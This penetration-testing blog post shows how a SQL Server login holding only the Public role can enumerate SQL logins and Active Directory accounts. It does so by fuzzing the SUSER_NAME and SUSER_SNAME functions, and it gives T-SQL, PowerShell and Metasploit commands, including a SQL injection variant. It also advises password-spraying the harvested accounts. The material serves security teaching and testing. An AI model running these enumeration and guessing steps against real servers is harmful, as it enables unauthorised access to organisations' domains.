Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts

Introduction

In SQL Server, security functions and views that allow SQL logins to enumerate domain objects should only be accessible to sysadmins. However, in this blog I’ll show how to enumerate Active Directory domain users, groups, and computers through native SQL Server functions using logins that only have the Public server role (everyone). I’ll also show how to enumerate SQL Server logins using a similar technique. To make the attacks more practical I’ve also released PowerShell and Metasploit modules to automate everything via direct connections and SQL injection.

This blog should be interesting to pentesters, developers, and DevOps looking to gain a better understanding of what the practical attacks look like. I’ve also provided a lab setup guide, but I recommend skipping it unless you’re interested in trying this out at home.

Below is a summary of the topics being covered:

Setting up the Lab
Enumerating SQL Server Logins Manually
Enumerating SQL Server Logins with PowerShell
Enumerating SQL Server Logins with Metasploit
Enumerating Domain Accounts Manually
Enumerating Domain Accounts with PowerShell
Enumerating Domain Accounts with Metasploit
Enumerating Domain Accounts with Metasploit via SQL Injection

Setting up a Lab

Below I’ve provided some basic steps for setting up a Windows domain, SQL Server instance, and web server that can be used to replicate the scenarios covered in this blog.

Setting up the Domain and SQL Server

Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not, you can follow the guide found below to get rolling.
https://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx
Add a server to the domain that can be used as the SQL Server. Below is a link to a how to guide.
https://technet.microsoft.com/en-us/library/bb456990.aspx
Download the Microsoft SQL Server Express version that includes SQL Server Management Studio and install it on the system just added to the domain. It can be downloaded from the link below.
https://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
Enable the TCP protocol so that module can connect to the listener. If you’re not familiar with that process you can use the guide found at the link below.
https://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx

Setting up the Database

1. Log into the SQL Server with the “sa” account setup during installation using the SQL Server Management Studio application.

2. Press the “New Query” button and use the TSQL below to create a database named “MyAppDb” for the lab.

-- Create database
CREATE DATABASE MyAppDb

3. Add a table with records.

-- Select the database
USE MyAppDb
-- Create table
CREATE TABLE dbo.NOCList (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
-- Add sample records to table
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('James Bond','Sean Connery')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Ethan Hunt','Tom Cruise')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Jason Bourne','Matt Damon')

4. Create a logins for the lab.

-- Create login for the web app and direct connection
CREATE LOGIN MyPublicUser WITH PASSWORD = 'MyPassword!';
ALTER LOGIN [MyPublicUser] with default_database = [MyAppDb];
CREATE USER [MyPublicUser] FROM LOGIN [MyPublicUser];
EXEC sp_addrolemember [db_datareader], [MyPublicUser];
-- Create login that should not be viewable to MyPublicUser
CREATE LOGIN MyHiddenUser WITH PASSWORD = 'MyPassword!';

5. Verify that the login only has the CONNECT privilege. The CONNECT privilege allows accounts to authenticate to the SQL Server instance.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- List privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
GO

-- Revert back to sa
REVERT

6. Check server roles for the MyPublicUser login. You shouldn’t see any roles assigned to the “MyPublicUser login. This bit of code was grabbed from https://www.practicalsqldba.com/2012/08/sql-server-list-logins-database-and.html.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- Check if the login is part of public
SELECT IS_SRVROLEMEMBER ( 'Public' )

-- Check other assigned server roles
SELECT PRN.name,
srvrole.name AS [role] ,
Prn.Type_Desc
FROM sys.server_role_members membership
INNER JOIN (SELECT * FROM sys.server_principals WHERE type_desc='SERVER_ROLE') srvrole
ON srvrole.Principal_id= membership.Role_principal_id
INNER JOIN sys.server_principals PRN
ON PRN.Principal_id= membership.member_principal_id WHERE Prn.Type_Desc NOT IN ('SERVER_ROLE')

REVERT

Setting up the Web Application

Setup a local IIS server
Make sure its configured to process asp pages
Download testing.asp to the web root from:
https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp
Modify the db_server, db_name,db_username,and db_password variables in testing2.asp as needed.
Verify the page works by accessing:
https://127.0.0.1/testing2.asp?id=1
Verify the id parameter is injectable and error are returned:
https://127.0.0.1/testing2.asp?id=@@version

Enumerating SQL Server Logins Manually

Selecting all of the logins from the sys.syslogins view is restricted to sysadmins. However, logins with the Public role (everyone) can quickly enumerate all SQL Server logins using the “SUSER_NAME” function. The “SUSER_NAME” function takes a principal_id number and returns the associated security principal (login or server role). Luckily, principal_id numbers are assigned incrementally. The first login gets assigned 1, the second gets assigned 2, and so on. As a result, it’s possible to fuzz the principal_id to recover a full list of SQL Server logins and roles. However, it’s not immediately obvious which principals are roles and which are logins. Fortunately, the logins can be identified through error analysis of the native “sp_defaultdb” stored procedure. Once logins have been identified, they can be used in dictionary attacks that often result in additional access to the SQL Server.

Below is an overview of the manual process:

1. Log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to get a list of all logins via standard queries. The queries below should only return a list of default server roles, the “sa” login, and the “MyPublicUser” login. No other logins should be returned.

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

3. Using the “SUSER_ID” function it’s possible to lookup the principal_id for any login. The example below shows how to lookup the principal_id for the “sa” login. It should be possible with any login that has the Public role (everyone).

SELECT SUSER_ID('sa')

4. To go the other way just provide the principal_id to the “SUSER_NAME” function . Below is a short example showing how it’s possible to view other logins. In this example, the “MyHiddenUser” login’s principal_id is 314, but it will be different in your lab.

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(314)

5. As I mentioned above, it’s also possible to determine which security principals are logins and which are roles by performing error analysis on the “sp_defaultdb” stored procedure. When you’re a sysadmin “sp_defaultdb” can be used to change the default database for a login. However, when you’re not a sysadmin the procedure will fail due to access restrictions. Lucky for us valid logins return different errors than invalid logins.For example, the “sp_defaultdb” stored procedure always returns a “15007” msg when an invalid login is provided, and a “15151” msg when the login is valid. Below are a few example screenshots.

6. After logins have been identified it’s possible to use tools like SQLPing3, Hydra, and the mssql_login module to perform online dictionary attacks against the SQL Server. Next, let’s take a look at some automation options.

Enumerating SQL Server Logins with PowerShell

The first script is written as a PowerShell module and can be used to enumerate SQL Logins via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-SqlLogins.psm1.

The module can be imported with the PowerShell command below.

PS C:temp>Import-Module .Get-SqlServer-Enum-SqlLogins.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below. My example returns many logins because my tests lab is messy, but at a minimum you should see the “MyHiddenUser” login that was created at the beginning of the lab guide.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

PS C:temp>Get-SqlServer-Enum-SqlLogins -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 1000

Enumerating SQL Server Logins with Metasploit

This module (mssql_enum_sql_logins) does the same thing as the PowerShell module, but is written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it. Below is a basic usage example.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 10.2.9.101
set rport 1433
set fuzznumb 1000
set username MyPublicUser
set password MyPassword!
run

Now on to the good stuff…

Enumerating Domain Accounts

In Active Directory every user, group, and computer in Active Directory has a unique identifier called an RID. Similar to the principal_id, the RID is another number that is incrementally assigned to domain objects. For a long time it’s been possible to enumerate domain users, groups, and computers by fuzzing the RIDs via RPC calls using the “smb_lookupsid” module in Metasploit written by H.D. Moore. The technique I’ve put together here is almost exactly the same, but executed through the SQL Server function “SUSER_SNAME”. As it turns out, when a full RID is supplied to the “SUSER_SNAME” function it returns the associated domain account, group, or computer name. Below I’ll walk through the manual process.

Note: As a side note “SUSER_SNAME” function can also be used to resolve SQL Login using their SID.

Manual Process for Enumerating Domain Accounts

1. Once again, log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to execute stored procedures that provide information about domain groups or accounts. The queries below attempts to use the “xp_enumgroups” and “xp_logininfo” stored procedures to get domain group information from the domain associated with the SQL Server. They should fail, because they’re normally only accessible to member of the sysadmin server role.

EXEC xp_enumgroups 'DEMO';
EXEC xp_logininfo 'DEMODomain Admins', 'members';

3. Ok, on with the show. As an attacker that knows nothing about the environment we’ll need to start by getting the domain name of the SQL Server using the query below.

SELECT DEFAULT_DOMAIN() as mydomain;

4. Next we need to use the “SUSER_SID” function to get a sample RID from the domain of the SQL Server. You can use any default domain users or group. In the example below I’ve used “Domain Admins”.

SELECT SUSER_SID('DEMODomain Admins')

5. Once a full RID has been obtained we can to extract the domain SID by grabbing the first 48 bytes. The domain SID is the unique identifier for the domain and the base of every full RID. After we have the SID we can start building our own RIDs and get fuzzing.

RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

6. To my knowledge domain users start with the RID 500. So we’ll have to increment from there. However, you may have noticed that the SID is hex encoded. So we’ll have to convert the RID to hex and add the proper padding. Just for fun I’ll use calc.exe for the example. Start Windows calc.exe, click view, and then click programmer mode. Enter 500.

7. Convert the number to hex by clicking in the hex radio button.

8. Make sure the hex is properly formatted. In this case we need to add a 0 to the front.
01F4

9. Reverse the order of the hex values to ensure they are interpreted correctly by SQL Server. Big thanks to Antti Rantasaari and Eric Gruber for helping me figure out they needed to be flipped.
F401

10. Pad the number out to 8 bytes using 0s.
F4010000

11. Concatenate the domain SID and RID.
0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

12. Now we have a new RID that can be fed into the “SUSER_NAME” function to get the associated domain account, group, or computer as shown below.

SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000)

Tada! Now just repeat that 10,000 or more times and you should be on your way to a full list of domain accounts.

13. Once you have the domain account list, you can conduct online dictionary attacks and attempt to guess the passwords for every account in the domain. During most penetration tests we only have to use a handful of passwords to gain initial access. Those passwords usually include some variation of the following:

SeasonYear
CompanyNumber
PasswordNumber

Once we’ve guessed some passwords correctly, they can be used to login through administrator interfaces and applications.

If you’re not a pentesters it may seem crazy, but once you have a full list of domain accounts a full domain takeover is pretty likely. For those of you who are less familiar with domain escalation techniques checkout Google, the NetSPI blog, or www.harmj0y.net (lots of fun projects).

Alright, on to the automation…

Enumerating the Domain Accounts with PowerShell

This PowerShell module can be used to enumerate Windows domain accounts, groups, and computers via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-WinAccounts.psm1

The module can be imported with the PowerShell command below.

PS C:temp>; Import-Module .Get-SqlServer-Enum-WinAccounts.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below.

Note: By default it fuzzes 1000 principal_ids, but you can increase that with the “FuzzNum” parameter. I suggest 10000 or above for any company that not a “mom and pop” shop.

PS C:temp>Get-SqlServer-Enum-WinAccounts -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 10000

Enumerating the Domain Admins with Metasploit

This module (mssql_enum_domain_accounts) does the same thing as the PowerShell module, but it’s written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it. Big thanks go out to Juan Vazquez, Tod Beardsley, and the rest of the Metasploit team for helping me get the two modules into the framework!

This is most useful during internal network penetration tests after a SQL Server login has been guessed. However, it only gives the attacker an advantage if they don’t already have a domain account that can be used to enumerate domain objects via RPC or LDAP queries.

Note: For the test set the fuzznum to 1000, but you would set it to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost 10.2.9.101
set rport 1433
set username MyPublicUser
set password MyPassword!
set fuzznum 10000
run

Enumerating the Domain Admins with Metasploit via SQL Injection

This is the good one. This module (mssql_enum_domain_accounts_sqli) is also written in for Metasploit and takes the attack a step further by executing it through an error based SQL injection. If you’ve updated Metasploit lately then you already have it.

This is most useful during external network penetration tests, because getting a full list of domain accounts, groups, and computers isn’t always easy when social engineering is out of scope. As I mentioned before, once you have the account list it can be used to perform online dictionary attacks, and the guessed password can be used to login through interfaces like Citrix, Remote Desktop Web Access, and VPN without two-factor (it’s a thing).

Note: This module requires that you have already identified the SQL injection ahead of time. Also, make sure to set the FuzzNum parameter to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--
run

Wrap Up

In this blog I tried to illustrate how the “SUSER_NAME” and SUSER_SNAME” functions could be abused by logins with the Public server role. Hopefully it’s been useful and helped provide a better understanding of how simple functions can be used to access information not intended by the access control model. Have fun with it, and don’t forget to hack responsibly. 🙂

The CISO’s Guide to Securing AI/ML Models

Gut Check: Are You Getting the Most Value out of Your Penetration Testing Report?

Chubb partners with NetSPI to bring attack surface management to its policyholders

Partner with NetSPI

Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts

Scott Sutherland